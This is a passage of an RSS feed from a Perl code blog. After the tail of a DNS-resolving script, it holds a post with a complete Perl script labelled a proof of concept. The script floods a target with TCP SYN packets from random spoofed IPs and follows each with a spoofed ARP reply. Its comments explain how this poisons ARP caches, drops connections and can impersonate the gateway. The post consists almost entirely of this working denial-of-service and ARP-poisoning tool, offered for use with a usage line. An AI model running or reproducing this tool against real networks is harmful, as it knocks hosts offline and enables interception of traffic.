&quot;$ip\t$name\n&quot;;&lt;br /&gt;  $begin++;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/class-c-dns-resolving-tool.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-4166490068573213573</guid><pubDate>Sat, 26 Apr 2008 03:13:00 +0000</pubDate><atom:updated>2008-04-26T01:58:22.649-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">arp poison syn flood attack perl proof of concept</category><title>ARP poison + spoofed IP SYN flood</title><description>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;# this is a proof of concept.  it originally started as a syn flooder for&lt;br /&gt;# stress testing, now it&#39;s something a bit more elaborate.  it still syn floods,&lt;br /&gt;# however, it also sends out spoofed arp replies from the spoofed source address&lt;br /&gt;# which causes the target machine to cache the spoofed IP&#39;s for a longer time, which&lt;br /&gt;# results in connection loss.&lt;br /&gt;#&lt;br /&gt;# another reason for connection loss is when the spoofed source IP is equal to the&lt;br /&gt;# ip of the gateway router, which changes the mac address.  a single packet will drop&lt;br /&gt;# a connection.  this method is your basic man in the middle/arp posioning DoS.&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;# - nwo 4/16/2008&lt;br /&gt;####&lt;br /&gt;&lt;br /&gt;require &#39;getopts.pl&#39;;&lt;br /&gt;&lt;br /&gt;### need to utilize raw sockets to allow spoofing and specify source ports.&lt;br /&gt;use Net::RawIP;&lt;br /&gt;use Net::ARP;&lt;br /&gt;use Net::Pcap;&lt;br /&gt;&lt;br /&gt;$dev = Net::Pcap::lookupdev(\$errbuf);&lt;br /&gt;&lt;br /&gt;Getopts(&#39;t:p:n:&#39;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;### function to create random IP&#39;s.&lt;br /&gt;sub randip () {&lt;br /&gt;  $oct1 = int rand(200);&lt;br /&gt;  $oct2 = int rand(200);&lt;br /&gt;  $oct3 = int rand(200);&lt;br /&gt;  $oct4 = int rand(200);&lt;br /&gt;  $ip = join(&#39;.&#39;, &quot;10&quot;,&quot;$oct2&quot;,&quot;$oct3&quot;,&quot;$oct4&quot;);&lt;br /&gt;  return(&quot;$ip&quot;);&lt;br /&gt;}&lt;br /&gt;### function to spoof mac addresses.  *not pretty*&lt;br /&gt;sub randmac () {&lt;br /&gt;  $i1 = int rand(10);&lt;br /&gt;  $i2 = int rand(10);&lt;br /&gt;  $i3 = int rand(10);&lt;br /&gt;  $rmac = join(&#39;:&#39;, $i1,$i2,$i3,$i1,$i2,$i3);&lt;br /&gt;  return(&quot;$rmac&quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;die &quot;Usage: $0 -t &lt;target&gt; -p &lt;port&gt; -n &lt;number of packets&gt;\n&quot;&lt;br /&gt;unless ($opt_t &amp;&amp; $opt_p &amp;&amp; $opt_n);&lt;br /&gt;&lt;br /&gt;### allow the user to specify a list of comma seperated ports via the command line.&lt;br /&gt;@ports = split(/\,/, $opt_p);&lt;br /&gt;$list = @ports;&lt;br /&gt;&lt;br /&gt;$syn = new Net::RawIP;&lt;br /&gt;### For some reason, arp_lookup doesn&#39;t always get the mac address on the first try&lt;br /&gt;Net::ARP::arp_lookup($dev,$opt_t,$mac);&lt;br /&gt;if($mac eq &quot;Unknown&quot;) {&lt;br /&gt;  Net::ARP::arp_lookup($dev,$opt_t,$mac);&lt;br /&gt;  if($mac eq &quot;Unknown&quot;) {&lt;br /&gt;    print &quot;Unable to lookup MAC address.\n&quot;;&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;### super awesome output.&lt;br /&gt;print &quot;Mac found - $mac\n&quot;;&lt;br /&gt;print &quot;Hitting $opt_t on port(s) @ports with $opt_n packets....\n&quot;;&lt;br /&gt;### start the loop&lt;br /&gt;for($i = 1;$i &lt; $opt_n;$i++) {&lt;br /&gt;  ### randomly select a port out of the @ports array&lt;br /&gt;  $nlist = int rand($list);&lt;br /&gt;  $dport = $ports[$nlist];&lt;br /&gt;  $ranip = &amp;randip;&lt;br /&gt;  $ranmac = &amp;randmac;&lt;br /&gt;  $rport = int rand(65535);&lt;br /&gt;&lt;br /&gt;  ### set up the socket..&lt;br /&gt;  $syn-&gt;set({&lt;br /&gt;      ip =&gt; {&lt;br /&gt;             daddr =&gt; $opt_t,&lt;br /&gt;             saddr =&gt; $ranip,&lt;br /&gt;            },&lt;br /&gt;&lt;br /&gt;  ### specify the destination port and source port.. make sure the syn flag is enabled to&lt;br /&gt;  ### drop the services.  it&#39;s possible that using an icmp packet would be more effective&lt;br /&gt;  ### because the target machine will stop receiving packets if the service goes down due&lt;br /&gt;  ### the syn flood - that said, most everyone firewalls against icmp these days.&lt;br /&gt;      tcp =&gt; {&lt;br /&gt;              dest =&gt; $dport,&lt;br /&gt;              source =&gt; $rport,&lt;br /&gt;              ack =&gt; 0,&lt;br /&gt;              urg =&gt; 0,&lt;br /&gt;              rst =&gt; 0,&lt;br /&gt;              fin =&gt; 0,&lt;br /&gt;              psh =&gt; 0,&lt;br /&gt;              syn =&gt; 1&lt;br /&gt;             }&lt;br /&gt;      });&lt;br /&gt;  ### send the packet!&lt;br /&gt;      $syn-&gt;send;&lt;br /&gt;  ### now send a spoofed ARP reply from the spoofed IP so that the target machine caches the IP&lt;br /&gt;  ### with the fake mac address so that it stores it, rather than clearing them due to invalid&lt;br /&gt;  ### mac addresses.  this also generates a lot of network traffic and congestion because of all&lt;br /&gt;  ### of the &#39;who has&#39; messages and replies - plus the tcp-syn+rst generated when the target machine&lt;br /&gt;  ### realizes that the connection attempt is invalid.&lt;br /&gt;  Net::ARP::send_packet($dev,&lt;br /&gt;                        $ranip,&lt;br /&gt;                        $opt_t,&lt;br /&gt;                        $ranmac,&lt;br /&gt;                        $mac,&lt;br /&gt;                        &#39;reply&#39;);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/arp-poison-syn-flood-with-random.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item></channel></rss>